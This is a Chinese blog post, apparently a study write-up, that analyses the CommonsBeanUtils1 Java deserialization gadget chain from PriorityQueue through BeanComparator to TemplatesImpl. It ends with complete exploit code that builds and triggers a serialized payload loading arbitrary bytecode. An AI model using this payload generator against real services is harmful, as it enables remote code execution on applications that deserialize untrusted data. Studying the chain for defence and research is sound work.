CommonsBeanUtils1反序列化分析

cb链子

0x01 CommonsBeanUtils介绍

Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean

  • 以 Utils 结尾,一般这都是一个工具类/集

先说说 JavaBean 的这个概念

这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。

CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:

比如一个Baby类是一个简单的JavaBean的类,那么它一定满足如下几个要求:

  • JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
  • JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
  • 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
  • javaBean属性是具有getter/setter方法的成员变量。也可以只提供getter方法,这样的属性叫只读属性;也可以只提供setter方法,这样的属性叫只写属性; 如果属性类型为boolean类型,那么读方法的格式可以是get或is。例如名为abc的boolean类型的属性,它的读方法可以是getAbc(),也可以是isAbc();

一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名。例如:属性名为userName,其对应的getter/setter 方法是 getUserName/setUserName。

举个例子:

public class Baby {
    private String name = "Drunkbaby";

 public String getName(){
        return name;
 }

    public void setName (String name) {
        this.name = name;
 }
}

这里有两个简单的getter和setter方法,如果用@Lombok的注解也是同样的,使用@Lombok的注解不需要写 getter setter。

Commons-BeanUtils 中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:

import org.apache.commons.beanutils.PropertyUtils;

public class babytest {
    public static void main(String[] args) throws Exception{
        System.out.println(PropertyUtils.getProperty(new Baby(),"name"));
    }
}

Untitled

0x02 CommonsBeanUtils1 链子分析

上我们的经典CC图,并且画出非cc链子的部分

Untitled

1.链子尾部

链子尾部肯定是要通过TemplatesImpl字节码的方式进行攻击的,从上面图片我们可以看出来

回顾一下TemplatesImpl的过程

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

链子的最开头有一个TemplatesImpl.getOutputProperties(),正好她是满足getter方法的,并且作用域是public,所以我们是可以通过CommonsBeanUtils总的PropertyUtils.getProperty()方式获取

2.链子中间

所以链子进行到了PropertyUtils.getProperty(),我们就需要去找哪个地方调用了同名的getProperty()方法呗,反正最后要走到readObject里面

Untitled

这里我们通过find usages找到了一个BeanComparator 类,他的compare方法里面如果传入property不为空,则对两个对象进行“取值比较”吧,理解的话就是比较器会看俩人有没有指定比较的东西,没有就直接比较对象,有的话就取对应的东西比较

Untitled

Untitled

3.链子开头

如果对cc比较熟悉的话,或者直接看下面的这个图 我们可以发现我们之前在cc2、cc4的部分有过关于comparator同名函数然后往后走的链子,当时用的是TransformingComparator 当然这个是Commons Collections和Commons Collections4都有的,当时我们用的是四的,那么这里的话我们是不是可以考虑把TransformingComparator 替换成BeanComparator 然后街上前面的就成了

Untitled

0x03 EXP编写

首先给出一个调用链

  • PriorityQueue.readObject()
  • PriorityQueue.heapify()
  • PriorityQueue.siftDown()
  • PriorityQueue.siftDown()
  • PriorityQueue.siftDownUsingComparator()
  • BeanComparator.compare()
  • PropertyUtils.getProperty()
  • TemplatesImpl.getOutputProperties()
  • TemplatesImpl.newTransformer()
  • TemplatesImpl.getTransletInstance()
  • TemplatesImpl.defineTransletClasses()
  • TransletClassLoader#defineClass()

EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cbtest1 {
    public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "wahaha");

        final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",comparator);

        serialize(priorityQueue);
        unserialize("serzsd.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行结果:

Untitled

参考资料:

posted @ 2023-03-13 18:05  z2n3  阅读(109)  评论(0编辑  收藏  举报